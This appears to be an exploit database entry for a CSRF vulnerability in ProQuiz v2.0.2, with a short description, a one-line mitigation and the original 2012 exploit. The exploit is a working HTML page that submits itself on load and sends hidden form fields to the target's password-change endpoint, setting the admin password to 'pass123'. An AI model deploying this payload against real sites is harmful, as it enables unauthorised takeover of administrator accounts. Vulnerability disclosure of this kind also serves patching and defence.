header-logo
Suggest Exploit
vendor:
ProQuiz
by:
DaOne
7,5
CVSS
HIGH
Cross-Site Request Forgery (CSRF)
352
CWE
Product Name: ProQuiz
Affected Version From: 2.0.2
Affected Version To: 2.0.2
Patch Exists: N/A
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2012

ProQuiz v2.0.2 CSRF Vulnerability

A CSRF vulnerability exists in ProQuiz v2.0.2 which allows an attacker to change the admin password by sending a malicious POST request. The attacker can craft a malicious HTML page containing a form with hidden fields and submit it to the vulnerable application. The application will then process the request and change the admin password to the value specified in the hidden field.

Mitigation:

Implementing a CSRF token in the application can prevent this type of attack.
Source

Exploit-DB raw data:

##########################################

[~] Exploit Title: ProQuiz v2.0.2 CSRF Vulnerability

[~] Author: DaOne

[~] Date: 19/8/2012

[~] Software Link: http://code.google.com/p/proquiz/downloads/list

##########################################



[#] [ CSRF Change Admin Password ]



</form>

<html>

<body onload="document.form0.submit();">

<form method="POST" name="form0" action="http://[target]/functions.php?action=edit_profile&type=password">

<input type="hidden" name="password" value="pass123"/>

<input type="hidden" name="cpassword" value="pass123"/>

</form>

</body>

</html>



##########################################

Navigation

Suggest Exploit

Services By CQR